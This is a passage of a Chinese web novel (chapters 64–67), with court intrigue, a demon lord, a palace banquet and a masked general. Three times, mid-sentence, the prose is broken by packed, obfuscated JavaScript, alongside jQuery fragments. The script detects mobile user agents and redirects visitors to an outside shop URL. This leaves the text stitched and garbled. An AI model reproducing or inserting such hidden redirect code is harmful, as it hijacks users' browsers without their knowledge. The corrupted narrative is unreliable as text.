渡舟收了昆仲,道:“一半一半。” 上官看了眼镜妖,叹息道:“能救下一半也好,时间太久了。” 渡舟转身道:“要看怎么算。如果活着就算,那就是一半一半。” 周昭问道:“什么意思?” 隔壁镜妖突然发笑,渡舟充耳不闻,继续说:“意思是,活着的人都失了魂魄,找不回来。” “哈哈哈哈,我还当妖主大人多大的能耐,原来也有找不回魂魄的时候。”镜妖一边玩弄手中发丝,一边嘲弄地看向渡舟手中的骨箫,“你那根骨箫多出来的第九孔,不是能招魂吗?” 64. 隐瞒 渡舟眼神晦暗:“谁告诉你的?” 镜妖答非所问,说道:“同样是妖,大人却帮着人残杀同类,我真为大人感到羞耻。” “用不着你费心羞耻,”周昭转向镜妖,“妖主大人心善,自然有人供他如神佛。” 身后突然传来一声低笑,周昭一时嘴快,面不改色转移话题道:“我且问你,魇鬼怎么找上你的。” 周昭回忆起昨夜幻境中听到的那个泼皮声音,是魇鬼没错。原来渡舟昨夜进宫晚了些,是去抓魇鬼。 镜妖指尖绕着发丝道:“魇鬼是谁?不认识。嘻嘻,兴许他也跟小皇帝一样,看我长得漂亮呢。” 不像装的。 周昭眉心微蹙,渡舟道:“她不敢说谎。” “魇鬼关在哪?我想见他。” 上官合了扇子,说道:“昨夜抓了魇鬼,救下贺金牙,不是又把魇鬼给放了吗?”他看了眼渡舟,声量渐弱。 他们前脚迈出诏狱,身后便传来镜妖的缥缈歌声。她一边踮着脚尖起舞,一边唱着不知名的小曲儿。 “......小娃娃,过家家。掉河里,淹死啦。” “魇鬼愁,疟鬼哭,剩下魍魉不说话。小娃娃,捡石头,分给你我变疙瘩……” 牢房只剩下镜妖和一堆破破烂烂的镜子,她口中小调未停:“……我不要,你收下,槐树人头笑哈哈……” “哈哈哈哈!槐树人头笑哈哈……” 镜妖案告一段落,原来凶手就是贵妃身边的婢女。那婢女本就是妖物所化,却妄想一步登天,贵妃不幸遇害,天子下令诛杀妖邪。 陆轻苹捉妖有功,办案神速,升至禁军总督,主管皇城兵权调度。国师沈云起从旁协助办案有功,特赏良田百亩,房宅数间。 这些事儿就像一阵风从皇城飘向大街小巷,成为了九洲城百姓茶余饭后的谈资。 皇城里的风微妙地转了方向,听说陆轻苹没有接受皇帝赏的宅院,还住在自己的旧所。 但那处地方太小,上门拜访之人又太多,没两天就被踩塌了门槛,陆轻苹干脆闭门谢客,又养病去了。 对外宣称抱病的陆大人,却悄莫声地差人递给周昭一封信。周昭并不奇怪陆轻苹来找自己,她按信上所说到了茶楼,陆轻苹早已在窗边落座。 周昭除了斗笠,道:“陆大人,好久不见。” 陆轻苹看她的眼神有几分古怪,不无刻薄道:“你们牵机营的人,出门都要乔装打扮一番才敢见人吗?” 周昭摇头道:“大人误会了,我不是牵机营的人。” “我亲眼所见,你跟牵机营那位……” 周昭假意咳了一声,避重就轻道:“我只是借住……” 陆轻苹皱眉道:“去那种地方借住?” “对啊,陆大人有更好的地方?我看圣上要赏你那处宅院不错,不如大人收下借我住两天,感激不尽。” 陆轻苹表情略微扭曲,似是没想到周昭如此大言不惭。他喝了口茶,状似不经意道:“那日幻境中有个叫阿鸢的,你也叫这个名字,巧不巧。” “巧。”周昭坦然道,“天下同名之人常有。” 陆轻苹笑说:“确实。” 他不再追问,切回正题:“我还欠你一件事,是什么?” “大人果然言而有信。”周昭端着茶盏却不喝,在手中把玩几下,抬眸道,“我希望大人帮我个忙儿。” 陆轻苹示意她说,周昭道:“大人官至总督,眼下又是圣上身边的红人,从四库里‘借’一份国史出来,应当不难吧?” 虽然周昭说的是借,但其实是要他偷摸着拿出来。 四库是宣朝珍藏皇家文集之所,为此设有专门的管库官员。这本来也没什么,文墨乃天下人共有,所以借借出出常有。 但有一列书是万万不会外借的,那就是国史。 每朝每代都有专门记录国历的史官,朱笔一旦落下不可更改不可销毁,哪怕是皇帝也没有权力涂改。不过话虽如此,总有应对之法。只要严加管控国史流通范围,不就没人知道写了什么吗? 皇帝也会有小心思,谁不希望自己在史册中位列千古明君一栏,而不是遗臭万年的昏君。 这种情况虽然有,但一般没有皇帝敢明目张胆地把无道昏君改写成勤政明君。 因为史书能改,天下悠悠众口却难堵。所以就算是改,都只敢改改细节,大体评价不会偏。 陆轻苹放下茶盏,道:“国史非管库腰牌不能开,你倒是给我出了个难题。” 跟陆轻苹这种人打交道,虽然得常常自惭形秽自我反省,品德是否高尚言行是否得体云云,但有两点很好:话少,不好奇。 周昭接话道:“这样,我原本不知道。” 陆轻苹也不问她到底是真不知道,还是假不知道,想了想又道:“国史那么多,你要看哪一朝?” “大人觉得呢?” 陆轻苹看向窗外道:“史书未必能全信,你费了这么大心思,不如问问牵机营那位。” 周昭记忆有损,从一开始她就是奔着皇宫里的那本史书去的。她不信渡舟,压根没想过问他。 周昭终于喝了口茶,略苦,她道:“我只问一句,这个忙,大人肯不肯帮?” 陆轻苹收回目光,注视着周昭,“我也只说一句,前尘往事,太过执着反而不好。” “劳大人费心。” “等我消息。” 贺家在护城河朝西面儿走不远,贺金牙半靠在软椅上,屋内烧着炭,他还是裹得比其他人多些。 虽然瘦了些,身体倒没受什么大伤。只是被魇鬼附身多日伤了元气,要在家中好生静养些日子。 周昭坐在他对面,贺金牙说起自己这几月的遭遇,就像梦里看花说不真切,什么也记不得,但话还是很多,絮絮叨叨跟周昭讲了许久。 “也不全是忘了……”贺金牙沉吟道,“那鬼似乎在九洲城找什么东西……” 周昭端茶的手微顿,问:“大人还记得找什么吗?” 贺金牙用手敲了几下脑袋,说道:“想不清楚,这儿疼。” 周昭出声宽慰道:“那便不想了,没什么紧要的。” 二人又闲聊了阵子,贺金牙将周昭细细打量许久,才饮了口热茶道:“丫头,我咋觉得还是你从前的模样顺眼些。” 周昭这阵子装傻扮笑多了,如今让她真笑反而笑不出,不尴不尬的弧度咧在唇边,像哭似的丧气。 贺金牙解释道:“现在好看是好看,但总觉着你这张脸过得不大顺心。” 周昭眸光清亮,说道:“大人还当我是从前就好。” 周昭今日来看贺金牙,思来想去还是没有易容。她就这么一个亲近些的人,再往脸上套一副假壳子实在没劲。只说自己从前身上被下了禁制,容貌有变,如今都想起来了,才换回这么个全乎人来。 若是从前,贺金牙必然会打破砂锅问到底。但经过魇鬼这么一遭,心态也变了许多。 “你还叫我一声大人,那就是没变。”贺金牙点点头,意味深长道,“丫头,我捡回一条命,想跟你说句掏心窝子的话,你别怪我多嘴。” “您说。” “从前我总想要升官儿想要发财,还想破案子想抓罪犯,但最近我想通了,人这辈子,说没就没。”贺金牙看着周昭道,“生死之外,无大事。” 若是不想生呢? 周昭沉默片刻,将这句话又咽回肚子里。 从贺家出来,远远地就见着一人撑着伞,站在一棵歪脖子树底下。 江边风大,雪粒子被吹得直往眼睛里钻。 周昭站着不动,那人便撑着伞走过来。 渡舟披着件广袖流云暗纹大氅,发丝用木簪随意束了,走起路来散漫却不轻佻。 他默不作声地将伞骨塞到周昭手心里,解了大氅照例披在周昭肩头,将人从头到脚裹得只露出一张素白的脸来,才又接过伞。 “殿下穿得这样少,旁人见了,还当我牵机营穷到如此地步,连过冬的衣裳都没有了。” 渡舟语气温和,全无责怪之意,但落在周昭耳中却觉得像回到从前,这人也这般拐着弯的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859831|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 譬如明明是想让她包扎伤口,却说什么“行人岭的妖怪最爱吃她这种细皮嫩肉的小女娃”恐吓她的话。 周昭有样学样道:“大人,我确实没有过冬的衣裳穿,牵机营又不曾给我发月例银子。” 渡舟本来听到周昭称呼他“大人”,眉毛很不爽利地挑了挑,听到后半句喉咙里又溢出一声低笑,问道:“殿下真愿意要月例银子?” “要啊,怎么不要。” “不反悔?” “不反悔。” 二人并肩走着,雪下得愈发大了。伞外白茫茫,伞底下却温暖如春。周昭知道这是渡舟用法力围了个结界,让雪沫子飘不进来。 走了阵子,渡舟方温声道:“殿下今日心情很好。” 周昭老实答道:“我见着贺大人平安,也算了却一桩心事。这事儿说来多谢你了,十六。” 周昭还是唤他十六,跟从前并无分别。 周昭这个人说一不二,既说了从前往事一笔勾销,那便是真的不再对渡舟利用她这件事耿耿于怀。 但渡舟瞧着却不怎么满意,又听周昭问道:“我有件事儿,总想不明白。” 渡舟侧过脸看她,说道:“殿下是想问魇鬼?” “嗯。”周昭毫无隐瞒,“镜妖制造满足人欲望的美妙幻境让人沉沦其中,魇鬼却跟她相反,专门造些噩梦让人心生忧俱。那日幻境中,我确实听到魇鬼的声音。后来细想,总觉得不全是镜妖幻境,我的意思是,有没有可能后半段是魇鬼让我做的噩梦?如果真是这样,难道魇鬼想救我?” 这就是周昭想不通的地方。 魇鬼明明对她不怀好意,怎么可能好心冒着被渡舟抓到的风险潜进镜妖幻境。 再听上官的意思,那夜渡舟明明抓到魇鬼,却又给放了。这其中的歪歪绕绕,周昭思前想后还是得亲自问问渡舟。 渡舟走得缓慢,说道:“殿下很聪明,的确不全是镜妖幻境。那日我久久寻不到阵眼,却发现魇鬼那老东西鬼鬼祟祟钻进幻境,被我抓到后本想杀了算了,丹妙却提议由他制造出来一个梦境,只要梦境足够恐怖,就能将你从美梦拉回来。” “后来你同意了?” “不,”渡舟眸中露出一丝戒备,“丹妙狡猾得很,我不放心。” 周昭拢了拢领口,又问:“那后来是怎么回事儿?” 渡舟淡淡道:“所以我和丹妙一同造了那重幻境。丹妙给的条件是让我撤了锁魂咒,我答应了。” 周昭心下震惊:“你答应了?” “丹妙是条鱼饵,关起来便钓不成鱼。九洲城的案子一个接一个跟丹妙有关,他本事不大,却能从我手底下逃脱两回。” 周昭点点头,表示同意:“丹妙背后,一定有个我们不知道的高人。” 渡舟停下脚步,侧身看着周昭道:“殿下,你知道为什么那日就算打破阵眼,你也醒不过来吗?” 周昭没说话。 渡舟微微叹息道:“因为你没有求生意识。殿下,我知道你有无数个不想活下去的理由,但是这一回,能不能请殿下哪怕找到一个理由,活下去。” 周昭仍是不说话,渡舟眸光微动,注视着她缓慢说道:“殿下若想杀谁,我可以做你手中的刀。殿下若想要权,牵机营就是你脚下铺路石阶。所以,试着活下去,可以吗?” 渡舟的声音在这风雪中无比清晰,他的语气一如往常,彷佛在说什么无关紧要的事情。 但这一字一句落入周昭耳中,扰得她心慌意乱,在渡舟如火般灼烧的注视下缓缓抬起头,面上流露出一丝不解,轻声问道:“为什么?” “你为什么要这么做?我已经不再是从前的周昭了。我一无所有,不是皇帝,没有神血。天下人视我如魔头,避之不及,你这么做......到底是为什么?” 周昭最后几个字仿佛自言自语般低声喃喃,脸上半是茫然半是困惑。 渡舟眼里的光一点点熄灭下去,直至变成一谭沉寂,一声轻飘飘的叹息旋即被呼啸的寒风卷去,渡舟转身道:“风大,回去罢。” 65. 宫宴 年关将近,宫内上上下下各处机要忙作一团。 往年这个时候,皇帝都会在宫内举办宫宴,名为“岁恩宴”,一是将朝内叫得上名号的大小官员聚在一起热闹热闹,该赏赐的赏赐,该安抚的安抚; 二是镇守边关苦寒之地的将士们年末回朝,由皇帝亲自接风赐饭,以示皇恩浩荡。 有了这么几重原因,宫宴倒更像是摆上饭桌的朝会,几家欢喜几家愁。 但牵机营是从来不会出席“岁恩宴”的,用上官的话来说,就是“宫里对牵机营能有多大皇恩”,语气简直跟渡舟如出一辙。 今年却是例外。 到了岁恩宴这天,宫里的折子由高忠贤亲自托在手上送到牵机营里来。 牵机营里空空荡荡,侍卫领着高忠贤转来绕去都没找到上官,兜兜转转这道折子却送到周昭跟前儿来了。 高公公脸上汗珠子都没来得及拭,先用袖子小心擦了擦折子,才往前递给周昭,弯着腰笑容可掬道:“这位大人,劳烦您给通报一声。” 周昭停住笔,案上是几页抄好的佛经,她并未接过折子,抬起头淡淡道:“渡舟不在。” 高公公听见渡舟名讳,忙把腰弯得更深,抬起眼皮道:“圣上说了,今年宫宴是家宴,无论如何都让请皇叔老人家去一趟。” 周昭微笑道:“贵人这话从何说起,既然是家宴,牵机营更去不得,免得落人话柄。” “哎哟哟,您折煞老奴了!”高公公终于腾出手擦汗,心说这位也是个牙尖嘴利的主儿。 周昭看了眼窗外漫天飞雪,摇头道:“我也不知道渡舟去哪儿了,再说渡舟去不去,是他自个儿的事儿。贵人,还请回吧。” “这......”高公公将汗巾子揣进怀里,又笑说,“既然皇叔找不着,劳烦祝大人替皇叔进宫一趟。圣上指的轿辇就在外头候着呐,总不好让老奴空着轿子抬进宫去,传到外人耳朵里......嘿嘿,您说呢?” 周昭算是听出几分不对来,这轿子一开始就是为着接她来的。 哪是宫宴,鸿门宴差不多。 她执笔在砚台上蘸满墨汁,没有起身的意思,说道:“我说不好。” 高忠贤愣住片刻,又听周昭道:“我这张脸生得不好,万一圣上又一时兴起,点了我留在宫里。” 高忠贤皮笑肉不笑,道:“大人哪儿的话,您是皇叔老人家身边儿的人。再说陆大人也会去,您跟陆大人也有些日子没见了吧?” 我什么时候成渡舟身边儿的人了。 高忠贤摆明了就是一副她不去他也不走的架势,周昭放下笔,道:“也好,我一个人闷得慌,正好出去走走。还请稍坐一会儿,我换身衣服就来。” 高忠贤连忙出去等,周昭走进里屋,等打开那放衣服的雕花檀木柜时不由一怔。 里面整整齐齐挂满了新衣,花团锦簇如同晚霞倾泻而出,有孔雀蓝的流光缎面,杏子红的对襟长裙,薄荷色的云纹披帛......从里衣到外袍全都考虑到了,甚至还有女子穿的骑装。 跟周昭从前穿的那些非黑即白的衣裳不同,这些全都是鲜亮的颜色,每一件都样式繁复,轻轻一碰便好像漾起了粼粼波光。 不光是衣服,桌上的妆奁也换了更大的,摆放着许多珠宝首饰,胭脂水粉,花钿眉黛,一应俱全。 女子的衣裳虽然好看,但不大方便。周昭记得上一回穿这种华贵的云锈绢袍,还是她从北疆回来之后的宫宴上,似乎就是件孔雀蓝的罗裙。 从那以后她都是怎么方便怎么来,再后来也基本素面朝天,盔甲不离身。 周昭的手轻轻抚摸过这些衣裙,最终还是挑了件白色,拿出来时就像一捧雪落在掌心,细看其实不完全素白,碧绿的丝线里勾出隐隐约约的翠竹,十分雅致。 等换好这件,她的手又移到右边那排狐裘斗篷,其中那件火红色的尤其好看。 不过周昭只是在上面轻轻碰了碰,仍是抄起往日常穿的那件墨色裘衣披上,旋即走了出去。 高忠贤看见她眼前亮了亮,喜上眉梢,领着周昭上轿。轿辇用的是四驾马车,都是清一色白毛骏马,两旁早有宫人立着侍候。 周昭略挑眉尖,扭头微笑道:“高公公,这不合适吧?” 天子六驾,皇亲四驾。 哪怕是国师沈云起,也用不得四驾。如果这轿子是给渡舟准备的无可厚非,给她一个名不见经传的人坐,烫手得很。 高忠贤接过左右递来的金丝暖手炉捂在怀里,堆着笑说:“圣上说合适,那就一定是合适的。风大得紧,大人快些上轿吧。” 周昭看那轿子一眼,弯腰进去。 外头四匹马应声而动,浩浩荡荡往皇宫方向去了。 轿子里是张软榻,铺着一整张白貂皮。 香炉里熏着品相应是极好的老山檀,闻着浓淡适中,脚边是一早烧好的暖炉银炭,因此周昭一踏进去,外头的风雪便立刻戛然而止。 她寻了个舒服的位置斜靠在软榻上,马车行驶得很稳当,轻摇轻晃中不禁阖了双目,直到高忠贤的声音在轿外响起,小心唤她:“大人,咱们到了。” 周昭缓缓睁开眼睛,里头一片清明毫无睡意。 她应了一声,立时有宫人提着大红灯笼上前,一根玉杆子轻轻挑开轿帘,周昭避开伸过来相扶的几只纤手,轻巧地一弯腰,踏着大步出去了。 外头天色擦黑,不见明月,仅有几斗浅浅星光。 周昭拢了拢身上的素白云纹斗篷,没走多久,抬头见一威严大殿,里面歌声阵阵,灯火如昼。 高忠贤小声道:“祝大人,咱们来得晚了,咱家这就领您进去。” 周昭笑笑不说话,高忠贤亲自提了盏灯笼照路,尚未走到大殿门口,便有一尖利的嗓音唤道:“牵机营到——” 百官停著,纷纷侧目,一时间纷杂的目光比殿内烛火还多的落在周昭身上。 “牵机营的人也太不像话了,不光姗姗来迟,连马车都赶进宫里来了!” “往年不是都不来吗?今年怎么来了,还是个女子。” “这女子什么来路?长得倒是……啧,从前怎么没听过牵机营有这么个绝色......” ...... 虽然各自声音都不大,周昭却听得清楚。 小皇帝挥退舞姬,饶有兴致地盯着周昭,等周昭走近了再看,那目光又变成第一次见面时的温良无害,就好像刚才是她看错。 赵允城招手微笑道:“皇叔怎么不见?” 周昭略垂着头,不卑不亢道:“回圣上的话,不清楚。” 丞相嗤之以鼻,适时道:“见了圣上却不下跪,牵机营好大的面子。” 周昭依旧垂着头,态度恭敬道:“回丞相的话,高公公说宫里的马车若是进了牵机营,却空着回去,那便是牵机营目中无主。小民闻之心中惶恐,只得上轿前来,滥竽充数。这一路小民战战兢兢,哪敢落座,因此现在腰酸腿痛,跪不下去。” 周昭这话说得看似滴水不漏,实则深浅由人看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865669|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 马车是宫里派来的,不管几匹马那都是宫里的意思。至于迟没迟,迟了多久,那也是宫里人办事不力。 高公公脸色发白,周昭抬起眼眸继续道:“不过......若丞相非要小民给你跪,小民自然不敢不跪的。” “你!休要胡言,老夫何时说要你跪我了?” 周昭并不理会,正欲下跪,赵允城开口道:“既然身子不适,虚礼就免了。来人,赐座。” 周昭淡淡道:“谢圣上。” 周昭抬眼一看,这位子好。 左边是国师沈云起,右边是近日皇帝眼跟前儿的红人陆轻苹。 沈云起与她目光交错,神情复杂。陆轻苹则目不斜视,仿佛不曾注意到周昭。 周昭转身泰然落座,心知这高位看似皇恩浩荡,落在旁人眼里便是眼红妒忌。 周昭坐定后,歌舞又起。 沈云起方才看得心惊胆战,借着舞姬遮掩,小声说道:“妹妹你胆子太大,有些话说不得。” 周昭并未看她,低声说:“国师,你这身份不好跟我攀谈吧?” 沈云起傲然道:“那怎么了,你长得好看,我心生嫉妒跟你说几句话不是很正常吗?” 周昭尚未明白这其中的关联,沈云起便堂而皇之地靠过来,一会儿摸着周昭身上的锦缎袍子,一会儿又看她发间的翡翠簪子,语气略显夸张道:“哎呀呀,妹妹你哪里买的这许多好看衣裳,城里哪家铺子?回头也带我去逛逛。” 周昭干笑两声,压低声音道:“国师,你演过头了。” “怎么是你来了?”沈云起低着头假意摆弄她衣料,语气已然变了,“出什么事儿了?” 周昭面上云淡风轻,小声道:“不知道,所以进宫看看。” “......”沈云起难以置信,还想说什么,眼前舞姬忽而悉数退下。沈云起假意生气摔了周昭袍角,退回席上。 “镇北侯到——” 原来还有比她更晚到的,周昭轻轻抿了口酒,入口是梅花香甜。 百官都不约而同停著张望,这却是跟周昭刚来时等着看热闹不一样的神情,仰慕居多,好奇亦有。 渡舟从来不在席间备酒,周昭贪着眼前这一口梅花香,只顾低头吃酒,一阵冷冽劲风夹风带雪地从她面皮上刮过去,周昭抬起头,见一戎装男子大步向前。 他盔甲未卸,刀在鞘中,虽然看不清脸,周昭却本能地嗅到一丝不同寻常的气息:这个人,很危险。 “臣,顾绍参见圣上。晚了宴席,还请圣上恕罪。” 周昭眼皮猛地一跳,手中酒盏掉落,席间溢出一阵沁人心脾的梅花香来。 “大将军镇北有功,是朕该去城门迎你才是,算不得晚。” 赵允城免了顾绍的礼,又命人赐座,目光飘到周昭这边,笑着说道,“祝爱卿跟在皇叔身边不久,还没见过大将军吧,怎么酒杯都掉了?” 顾绍侧目望过来,周昭更是坐不稳。 那人应当是刚从战场上下来,一身杀伐之气尚未掩去,左边半张脸戴着副饕餮云纹银面具,剩下半张脸神情凛然凶光乍现,足见对牵机营恨意之深切。 如果不是正在席上,周昭毫不怀疑这人腰间佩刀就是为她周昭项上人头准备的。 小皇帝原来在漠北藏了这一把好刀。 不,这些都不足以令周昭失魂落魄、心惊胆战。她目不转睛,看得正是这位镇北大将军露出的右脸。 这张脸、这脸......分明就是宁啻的脸! 66. 宫宴2 “你怎么了?” 身旁这一声低唤将周昭拉回人间坐席,陆轻苹疑惑不解道:“虽然镇北侯长得凶了些,也不至于吓成这个样子吧......” 周昭这才注意到陆轻苹,也顾不得考虑,是不是该为了陆轻苹的清流好名声离他远些,急声问道:“这人是谁?” 陆轻苹又重复一遍:“顾绍,镇北大将军。” “何时的大将军?” 陆轻苹略一思索,说道:“有些年头了,大概......八年。” 不可能,这分明就是宁啻! 周昭失魂落魄,目光定定地落在对面那人身上。其实非要说来,这人举手投足桀骜难驯,目光里是藏不住的沙场之气,跟宁啻比起来全无相似之处。 但周昭哪里顾得上这些,她一见那半张脸就什么都顾不得了,简直恨不得冲到对面,把那半副面具干脆掀下来看个清楚。 “你到底怎么了?”陆轻苹饮了口清茶,酒壶碰也不碰。 周昭却抢过他面前酒壶满杯倒上,入喉才知自己拿错了酒,每人席上都有两壶酒,她抢来的这壶并非桃花酿,而是跟烧刀子一样烈性的火酒。 但恰是这一口火酒灌进去,方才将她呼之欲出的冲动强压下去。 “大将军的脸……”周昭抿了抿唇,喉咙热得厉害。 陆轻苹回答道:“听说前几年大将军在外受了伤,便戴了这副面具,从不以真面目示人。” 席上推杯换盏间,圣上在问那位镇北大将军要何赏赐,二人便不再言谈。 顾绍环顾一圈,比火酒还滚烫几分的目光落在周昭身上,抬手一指道:“圣上,臣想要那个女人。” 此言一出,殿内突然陷入诡异的沉寂。 丞相看周昭眼神愈发鄙夷,满脸都写着四个大字:狐媚惑主。 众大臣有的面面相觑,更多的则是等着事情闹大好看热闹的隐隐兴奋之感。周昭震惊之余,没有错过赵允城脸上一闪而过的惊讶,于是反倒安心下来。 全场都在等着皇帝开金口,赵允城假意咳了两声,丞相意会,问道:“我记得大将军已有妻室吧?” 顾绍鼻孔里哼了一声,说道:“谁说我要娶她做妻?我要她,是想带回漠北当个军妓。” 这比上一句话更要石破天惊,分明就是明目张胆打渡舟的脸。那些原本看热闹的甚至都不敢再看,生怕这一把火烧到自己门前。 赵允城听了这话却不开口,一边是自己的心腹,一边是既要站在肩头才能飞,又不肯被反握住爪子的牵机营。赵允城站在中间,两边都不想得罪。 周昭却偏不肯遂了赵允城的意,她慢条斯理继续吃菜喝酒,不信赵允城有这个胆子把她交出去。 果然,席间安静片刻,赵允城终于率先按捺不住,抚掌笑道:“大将军此番回来,酒量反不似从前。来人,给大将军送醒酒茶来。” “朕乏了,佳节将至,众爱卿自便。”赵允城好似真的不胜酒力,由高忠贤搀扶着离席。 皇帝一走,紧张压抑的氛围顷刻间一扫而空。 周昭吃饱喝足,却不急着走。她存了心思在对面那位身上,顾绍同样盯着她瞧,看了阵子又仿佛觉得无趣又或是厌恶,低头吃酒去了。 牵机营一向神出鬼没,岁恩宴上头一回有牵机营的人来,虽然渡舟恶名在外,但谁让周昭长了副好皮囊。 酒过三巡,陆轻苹也不胜酒力匆匆离席,有胆大的摇摇晃晃凑过来,坐在陆轻苹的位子上,挤眉弄眼道:“祝大人一人饮酒多无趣,我陪您喝?” 周昭抬眸微笑道:“好啊。” 那人是个四品侍郎,平生最好美色,见周昭一笑魂都飞出半截儿,忙斟满酒杯一饮而尽,又给周昭倒上,说道:“祝大人,请满饮此杯!” 周昭毫不推脱,一杯灌了。 “好!”另有人抚掌喝彩。 侍郎红着眼,被周昭那张脸迷得神魂颠倒,周昭为他倒酒,凑近说道:“大人,您跟大将军,熟吗?” 对方入口的酒咽得不那么顺畅,胡乱答道:“熟。” 周昭把玩着手中酒杯,又道:“您敢不敢去掀了大将军的面具,也好让我们一睹大将军英姿。” 席间再次鸦雀无声。 侍郎顷刻酒醒大半,为难道:“这……” 两道锐利的目光泛着寒意落在周昭身上,顾绍单手按着腰间刀,周昭举起酒杯遥遥相祝,脸上露出一个惨淡的笑来。 若你真是宁大哥,怎地不来问我一声好…… 若你不是,又为何要用他的脸出现在我面前。 周昭仰脖喝酒,笑容褪去。那酒烫得她喉咙像被剐掉一层皮,冷声道:“侍郎大人还请坐回原处。” 顾绍不顾左右相劝提刀站起来,侍郎惊得屁滚尿流,磕磕巴巴说了句“祝大人保重”。 周昭低着头自斟自饮,眼看那双黑靴气势汹汹越走越近—— “大将军醉了!来人!”久不说话的沈云起将酒杯在桌上重重一摔,拂袖起身道,“送大将军回府!” 沈云起声量不大,却自有威严。 席间暗流涌动,顾绍停下脚步,目光肆无忌惮地在沈云起脸上滚了几个来回,语气轻佻道:“几年不见,国师大人愈发光彩照人了。” 沈云起嫌恶道:“彼此彼此,几年未见,大将军脾气愈发见长了。” 顾绍哈哈大笑,再看周昭一眼,转身走了。 “诸位大人,也该吃好喝好了吧?” “是是,好了好了。” 众官员十分识趣地相继离席,只剩下周昭一人还好端端坐着,沈云起皱眉道:“妹妹,你这性子以后还是莫要来宫里了。别喝了,我派人送你回去。” 周昭抬头道:“多谢,不必。” 岁恩宴结束得仓促,偌大的殿内只有低头洒扫的宫人沉默着来来往往。周昭贪这殿内温暖,又坐了阵子,才勾了支金樽酒壶起身。 一出去便是连天风雪,天黑得仿佛压在头顶的一方砚台。周昭接过宫人递来的斗篷披了,脚步虚浮一头扎进风雪里。 这点酒并不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殿内传来一声兴奋的叫喊,一个黑影协风而来,来人尚未看清脸,便抬起一脚气势汹汹朝着周昭心口而去。周昭下意识避开,反手抓住那条腿猛地向后一摔,藏在袖中的匕首已经抵在皮肉上。 “我操了!”那张被周昭按在地上,丑得不能再丑的烂脸骂道,“周昭你他妈再动我一下试试?” “梁王?”周昭将匕首又往前送了送,忍不住挑眉问道,“你这颗人头,不是在无相城当守卫吗?” 这确实是梁王。 那日被渡舟踢进墙里烂了脸,今时今日还没恢复,因此一直记恨着。 但头还是那颗头,身子却是不知从哪找来的死人尸体,拼凑在一起十分滑稽可笑。 梁王当年也算是周昭劲敌,可惜今时不同往日,被周昭一招制敌动弹不得。 赵允城站在一旁看热闹,抚掌笑道:“果然是,仇人见面,分外眼红。” 梁王扭着脖子骂道:“黄口小儿!还不让周昭这疯女人放开!” 赵允城悠悠道:“明鸢殿下,有话好说。” 67. 槐鬼 哪怕是最文采斐然的史官,面对眼前情形也难以下笔。 更漏声声,殿门紧闭。 三朝皇帝各坐一方,殿内拢着恰到好处的龙涎香,是君王们都再熟悉不过的味道。 香味底下暗流涌动,赵允城那张脸终于撕下温和无害的外表,露出勃勃野心来。 周昭半靠在软椅上,手里把玩着那支精巧的匕首。只有梁王坐立不安,终于率先开口道:“赵允城,你倒是说话啊。” 赵允城微笑道:“不急,朕岁数最小,还是等明鸢殿下先问。” 周昭手中匕首转了几下,那寒光看得梁王心里直发毛,她说:“你一早就知道,今日是试探,对吗?” 赵允城不否认:“有人告诉朕,周朝最后一任皇帝就在牵机营。若是殿下畏畏缩缩,不敢上那马车,朕倒是有些失望了。” 他语气中隐隐有几分欣赏,周昭皱眉道:“周昭已经死了,你不会怕一个死人来抢皇位吧?” 赵允城不置可否,露出笑来,说道:“朕希望殿下能助朕一臂之力,完成朕的大业。” 梁王忍不住插嘴道:“天快亮了,说正事儿。” “梁王不必担心,这处宫殿都是为你准备的,不会有光透进来。”赵允城十分体贴地看了眼梁王,也亏得他不惧怕梁王那副烂肉身体。 周昭压住恶心,淡淡道:“你宣朝的大业,与我何干?” 赵允城哈哈笑道:“朕喜欢殿下的个性!也喜欢殿下这张脸。” 梁王嗤以之鼻:“休要被周昭那张脸迷惑。” 赵允城移开目光,继续道:“朕当皇帝十几载,心中却总有根刺不上不下。如果殿下能帮朕拔了这根刺……” 周昭眼神微抬,语气平静:“我不会拔刺,也不当他人手中刀,你找错人了。” “跟谢景一个德行!”梁王冷哼一声,这话却正好戳在周昭心上,她面带怒意,斥道:“休要提长淮!” “他爹妈不是你杀的?装什么好人!” 梁王到底惧怕周昭手中利刃,不再说话了。 周昭的头愈发疼痛,不愿再纠缠,直截了当地说道:“你们要杀渡舟,也该掂量掂量自己的斤两。” 赵允城哪来的胆子,竟然找到一个废物梁王就想除掉渡舟。渡舟说得对,这宫里水浑,她今夜本不该来。 周昭站起来,赵允城却拦住她,不慌不忙道:“殿下好歹听完朕的话,再走不迟。” 周昭冷声道:“圣上的话,早该说了。” 赵允城打开金丝暖炉,里面的热炭烧得正旺,他不紧不慢地将热炭倒进手边一处盆景里,那槐树本来长得翠绿,被这么一烧,火势瞬间燃起来。 “虽然皇叔每隔一朝都换一副人皮,但妖就是妖,藏得再好也有被发现的一天。父皇无能,偏信于他,朕不一样……是妖就有天敌,就像这槐树,遇到火就是它的天敌,不死也得死。” 